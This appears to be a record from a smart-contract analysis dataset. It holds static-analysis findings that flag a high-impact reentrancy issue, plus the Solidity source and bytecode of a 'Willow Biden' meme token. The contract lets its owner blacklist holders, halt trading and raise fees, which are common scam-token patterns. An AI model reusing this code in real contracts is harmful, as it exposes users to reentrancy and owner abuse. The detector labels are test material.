06d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610442565b6000610fea6111d3565b9050610ff68382611191565b9392505050565b600f805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110611045576110456119ab565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561109957600080fd5b505afa1580156110ad573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110d19190611618565b816001815181106110e4576110e46119ab565b6001600160a01b039283166020918202929092010152600e5461110a9130911684610a49565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac94790611143908590600090869030904290600401611899565b600060405180830381600087803b15801561115d57600080fd5b505af1158015611171573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b610eb58383836111f6565b6000610ff683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506112ed565b60008060006111e061131b565b90925090506111ef8282611191565b9250505090565b6000806000806000806112088761135b565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061123a90876113b8565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461126990866113fa565b6001600160a01b03891660009081526002602052604090205561128b81611459565b61129584836114a3565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516112da91815260200190565b60405180910390a3505050505050505050565b6000818361130e5760405162461bcd60e51b8152600401610442919061180f565b506000610eeb8486611922565b6008546000908190670de0b6b3a76400006113368282611191565b82101561135257505060085492670de0b6b3a764000092509050565b90939092509050565b60008060008060008060008060006113788a600a54600b546114c7565b92509250925060006113886111d3565b9050600080600061139b8e87878761151c565b919e509c509a509598509396509194505050505091939550919395565b6000610ff683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610eba565b600080611407838561190a565b905083811015610ff65760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610442565b60006114636111d3565b90506000611471838361156c565b3060009081526002602052604090205490915061148e90826113fa565b30600090815260026020526040902055505050565b6008546114b090836113b8565b6008556009546114c090826113fa565b6009555050565b60008080806114e160646114db898961156c565b90611191565b905060006114f460646114db8a8961156c565b9050600061150c826115068b866113b8565b906113b8565b9992985090965090945050505050565b600080808061152b888661156c565b90506000611539888761156c565b90506000611547888861156c565b905060006115598261150686866113b8565b939b939a50919850919650505050505050565b60008261157b575060006103a9565b60006115878385611944565b9050826115948583611922565b14610ff65760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610442565b80356115f6816119d7565b919050565b60006020828403121561160d57600080fd5b8135610ff6816119d7565b60006020828403121561162a57600080fd5b8151610ff6816119d7565b6000806040838503121561164857600080fd5b8235611653816119d7565b91506020830135611663816119d7565b809150509250929050565b60008060006060848603121561168357600080fd5b833561168e816119d7565b9250602084013561169e816119d7565b929592945050506040919091013590565b600080604083850312156116c257600080fd5b82356116cd816119d7565b946020939093013593505050565b600060208083850312156116ee57600080fd5b823567ffffffffffffffff8082111561170657600080fd5b818501915085601f83011261171a57600080fd5b81358181111561172c5761172c6119c1565b8060051b604051601f19603f83011681018181108582111715611751576117516119c1565b604052828152858101935084860182860187018a101561177057600080fd5b600095505b8386101561179a57611786816115eb565b855260019590950194938601938601611775565b5098975050505050505050565b6000602082840312156117b957600080fd5b8135610ff6816119ec565b6000602082840312156117d657600080fd5b8151610ff6816119ec565b6000806000606084860312156117f657600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b8181101561183c57858101830151858201604001528201611820565b8181111561184e576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156118e95784516001600160a01b0316835293830193918301916001016118c4565b50506001600160a01b03969096166060850152505050608001529392505050565b6000821982111561191d5761191d611995565b500190565b60008261193f57634e487b7160e01b600052601260045260246000fd5b500490565b600081600019048311821515161561195e5761195e611995565b500290565b60008282101561197557611975611995565b500390565b600060001982141561198e5761198e611995565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146104de57600080fd5b80151581146104de57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122053dc80d5743e8e74b0f9093c45066a484bdf7dd11dabe845165c5a5fe1dca8dd64736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
1,054
0x01862e4046da10d3c4f838819957892ad8192f74
/** *Submitted for verification at Etherscan.io on 2022-02-11 */ /* Willow Biden https://t.me/Willowbiden MEET Willow! Willow is settling into the White House with her favorite toys, treats, and plenty of room to smell and explore */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract Willow is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Willow Biden"; string private constant _symbol = "Willow"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 1; uint256 private _taxFeeOnBuy = 9; uint256 private _redisFeeOnSell = 1; uint256 private _taxFeeOnSell = 14; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _developmentAddress = payable(0x069d78d70909Feac1778B213F5b4334f95769360); address payable private _marketingAddress = payable(0x069d78d70909Feac1778B213F5b4334f95769360); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 10000000000 * 10**9; uint256 public _maxWalletSize = 25000000000 * 10**9; uint256 public _swapTokensAtAmount = 10000000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { require(redisFeeOnBuy >= 0 && redisFeeOnBuy <= 4, "Buy rewards must be between 0% and 2%"); require(taxFeeOnBuy >= 0 && taxFeeOnBuy <= 14, "Buy tax must be between 0% and 14%"); require(redisFeeOnSell >= 0 && redisFeeOnSell <= 4, "Sell rewards must be between 0% and 2%"); require(taxFeeOnSell >= 0 && taxFeeOnSell <= 14, "Sell tax must be between 0% and 14%"); _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { if (maxTxAmount > 5000000000 * 10**9) { _maxTxAmount = maxTxAmount; } } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f0461461055a578063dd62ed3e1461057a578063ea1644d5146105c0578063f2fde38b146105e057600080fd5b8063a2a957bb146104d5578063a9059cbb146104f5578063bfd7928414610515578063c3c8cd801461054557600080fd5b80638f70ccf7116100d15780638f70ccf7146104505780638f9a55c01461047057806395d89b411461048657806398a5c315146104b557600080fd5b80637d1db4a5146103ef5780637f2feddc146104055780638da5cb5b1461043257600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038557806370a082311461039a578063715018a6146103ba57806374010ece146103cf57600080fd5b8063313ce5671461030957806349bd5a5e146103255780636b999053146103455780636d8aa8f81461036557600080fd5b80631694505e116101ab5780631694505e1461027557806318160ddd146102ad57806323b872dd146102d35780632fd689e3146102f357600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024557600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611aee565b610600565b005b34801561020a57600080fd5b5060408051808201909152600c81526b2bb4b63637bb902134b232b760a11b60208201525b60405161023c9190611bb3565b60405180910390f35b34801561025157600080fd5b50610265610260366004611c08565b61069f565b604051901515815260200161023c565b34801561028157600080fd5b50601454610295906001600160a01b031681565b6040516001600160a01b03909116815260200161023c565b3480156102b957600080fd5b50683635c9adc5dea000005b60405190815260200161023c565b3480156102df57600080fd5b506102656102ee366004611c34565b6106b6565b3480156102ff57600080fd5b506102c560185481565b34801561031557600080fd5b506040516009815260200161023c565b34801561033157600080fd5b50601554610295906001600160a01b031681565b34801561035157600080fd5b506101fc610360366004611c75565b61071f565b34801561037157600080fd5b506101fc610380366004611ca2565b61076a565b34801561039157600080fd5b506101fc6107b2565b3480156103a657600080fd5b506102c56103b5366004611c75565b6107fd565b3480156103c657600080fd5b506101fc61081f565b3480156103db57600080fd5b506101fc6103ea366004611cbd565b610893565b3480156103fb57600080fd5b506102c560165481565b34801561041157600080fd5b506102c5610420366004611c75565b60116020526000908152604090205481565b34801561043e57600080fd5b506000546001600160a01b0316610295565b34801561045c57600080fd5b506101fc61046b366004611ca2565b6108d2565b34801561047c57600080fd5b506102c560175481565b34801561049257600080fd5b5060408051808201909152600681526557696c6c6f7760d01b602082015261022f565b3480156104c157600080fd5b506101fc6104d0366004611cbd565b61091a565b3480156104e157600080fd5b506101fc6104f0366004611cd6565b610949565b34801561050157600080fd5b50610265610510366004611c08565b610aff565b34801561052157600080fd5b50610265610530366004611c75565b60106020526000908152604090205460ff1681565b34801561055157600080fd5b506101fc610b0c565b34801561056657600080fd5b506101fc610575366004611d08565b610b60565b34801561058657600080fd5b506102c5610595366004611d8c565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105cc57600080fd5b506101fc6105db366004611cbd565b610c01565b3480156105ec57600080fd5b506101fc6105fb366004611c75565b610c30565b6000546001600160a01b031633146106335760405162461bcd60e51b815260040161062a90611dc5565b60405180910390fd5b60005b815181101561069b5760016010600084848151811061065757610657611dfa565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061069381611e26565b915050610636565b5050565b60006106ac338484610d1a565b5060015b92915050565b60006106c3848484610e3e565b610715843361071085604051806060016040528060288152602001611f40602891396001600160a01b038a166000908152600460209081526040808320338452909152902054919061137a565b610d1a565b5060019392505050565b6000546001600160a01b031633146107495760405162461bcd60e51b815260040161062a90611dc5565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107945760405162461bcd60e51b815260040161062a90611dc5565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107e757506013546001600160a01b0316336001600160a01b0316145b6107f057600080fd5b476107fa816113b4565b50565b6001600160a01b0381166000908152600260205260408120546106b0906113ee565b6000546001600160a01b031633146108495760405162461bcd60e51b815260040161062a90611dc5565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108bd5760405162461bcd60e51b815260040161062a90611dc5565b674563918244f400008111156107fa57601655565b6000546001600160a01b031633146108fc5760405162461bcd60e51b815260040161062a90611dc5565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109445760405162461bcd60e51b815260040161062a90611dc5565b601855565b6000546001600160a01b031633146109735760405162461bcd60e51b815260040161062a90611dc5565b60048411156109d25760405162461bcd60e51b815260206004820152602560248201527f4275792072657761726473206d757374206265206265747765656e20302520616044820152646e6420322560d81b606482015260840161062a565b600e821115610a2e5760405162461bcd60e51b815260206004820152602260248201527f42757920746178206d757374206265206265747765656e20302520616e642031604482015261342560f01b606482015260840161062a565b6004831115610a8e5760405162461bcd60e51b815260206004820152602660248201527f53656c6c2072657761726473206d757374206265206265747765656e20302520604482015265616e6420322560d01b606482015260840161062a565b600e811115610aeb5760405162461bcd60e51b815260206004820152602360248201527f53656c6c20746178206d757374206265206265747765656e20302520616e642060448201526231342560e81b606482015260840161062a565b600893909355600a91909155600955600b55565b60006106ac338484610e3e565b6012546001600160a01b0316336001600160a01b03161480610b4157506013546001600160a01b0316336001600160a01b0316145b610b4a57600080fd5b6000610b55306107fd565b90506107fa81611472565b6000546001600160a01b03163314610b8a5760405162461bcd60e51b815260040161062a90611dc5565b60005b82811015610bfb578160056000868685818110610bac57610bac611dfa565b9050602002016020810190610bc19190611c75565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610bf381611e26565b915050610b8d565b50505050565b6000546001600160a01b03163314610c2b5760405162461bcd60e51b815260040161062a90611dc5565b601755565b6000546001600160a01b03163314610c5a5760405162461bcd60e51b815260040161062a90611dc5565b6001600160a01b038116610cbf5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161062a565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610d7c5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161062a565b6001600160a01b038216610ddd5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161062a565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ea25760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161062a565b6001600160a01b038216610f045760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161062a565b60008111610f665760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161062a565b6000546001600160a01b03848116911614801590610f9257506000546001600160a01b03838116911614155b1561127357601554600160a01b900460ff1661102b576000546001600160a01b0384811691161461102b5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400606482015260840161062a565b60165481111561107d5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000604482015260640161062a565b6001600160a01b03831660009081526010602052604090205460ff161580156110bf57506001600160a01b03821660009081526010602052604090205460ff16155b6111175760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b606482015260840161062a565b6015546001600160a01b0383811691161461119c5760175481611139846107fd565b6111439190611e41565b1061119c5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b606482015260840161062a565b60006111a7306107fd565b6018546016549192508210159082106111c05760165491505b8080156111d75750601554600160a81b900460ff16155b80156111f157506015546001600160a01b03868116911614155b80156112065750601554600160b01b900460ff165b801561122b57506001600160a01b03851660009081526005602052604090205460ff16155b801561125057506001600160a01b03841660009081526005602052604090205460ff16155b156112705761125e82611472565b47801561126e5761126e476113b4565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff16806112b557506001600160a01b03831660009081526005602052604090205460ff165b806112e757506015546001600160a01b038581169116148015906112e757506015546001600160a01b03848116911614155b156112f45750600061136e565b6015546001600160a01b03858116911614801561131f57506014546001600160a01b03848116911614155b1561133157600854600c55600954600d555b6015546001600160a01b03848116911614801561135c57506014546001600160a01b03858116911614155b1561136e57600a54600c55600b54600d555b610bfb848484846115fb565b6000818484111561139e5760405162461bcd60e51b815260040161062a9190611bb3565b5060006113ab8486611e59565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561069b573d6000803e3d6000fd5b60006006548211156114555760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161062a565b600061145f611629565b905061146b838261164c565b9392505050565b6015805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106114ba576114ba611dfa565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561150e57600080fd5b505afa158015611522573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115469190611e70565b8160018151811061155957611559611dfa565b6001600160a01b03928316602091820292909201015260145461157f9130911684610d1a565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac947906115b8908590600090869030904290600401611e8d565b600060405180830381600087803b1580156115d257600080fd5b505af11580156115e6573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b806116085761160861168e565b6116138484846116bc565b80610bfb57610bfb600e54600c55600f54600d55565b60008060006116366117b3565b9092509050611645828261164c565b9250505090565b600061146b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506117f5565b600c5415801561169e5750600d54155b156116a557565b600c8054600e55600d8054600f5560009182905555565b6000806000806000806116ce87611823565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506117009087611880565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461172f90866118c2565b6001600160a01b03891660009081526002602052604090205561175181611921565b61175b848361196b565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516117a091815260200190565b60405180910390a3505050505050505050565b6006546000908190683635c9adc5dea000006117cf828261164c565b8210156117ec57505060065492683635c9adc5dea0000092509050565b90939092509050565b600081836118165760405162461bcd60e51b815260040161062a9190611bb3565b5060006113ab8486611efe565b60008060008060008060008060006118408a600c54600d5461198f565b9250925092506000611850611629565b905060008060006118638e8787876119e4565b919e509c509a509598509396509194505050505091939550919395565b600061146b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061137a565b6000806118cf8385611e41565b90508381101561146b5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161062a565b600061192b611629565b905060006119398383611a34565b3060009081526002602052604090205490915061195690826118c2565b30600090815260026020526040902055505050565b6006546119789083611880565b60065560075461198890826118c2565b6007555050565b60008080806119a960646119a38989611a34565b9061164c565b905060006119bc60646119a38a89611a34565b905060006119d4826119ce8b86611880565b90611880565b9992985090965090945050505050565b60008080806119f38886611a34565b90506000611a018887611a34565b90506000611a0f8888611a34565b90506000611a21826119ce8686611880565b939b939a50919850919650505050505050565b600082611a43575060006106b0565b6000611a4f8385611f20565b905082611a5c8583611efe565b1461146b5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161062a565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107fa57600080fd5b8035611ae981611ac9565b919050565b60006020808385031215611b0157600080fd5b823567ffffffffffffffff80821115611b1957600080fd5b818501915085601f830112611b2d57600080fd5b813581811115611b3f57611b3f611ab3565b8060051b604051601f19603f83011681018181108582111715611b6457611b64611ab3565b604052918252848201925083810185019188831115611b8257600080fd5b938501935b82851015611ba757611b9885611ade565b84529385019392850192611b87565b98975050505050505050565b600060208083528351808285015260005b81811015611be057858101830151858201604001528201611bc4565b81811115611bf2576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611c1b57600080fd5b8235611c2681611ac9565b946020939093013593505050565b600080600060608486031215611c4957600080fd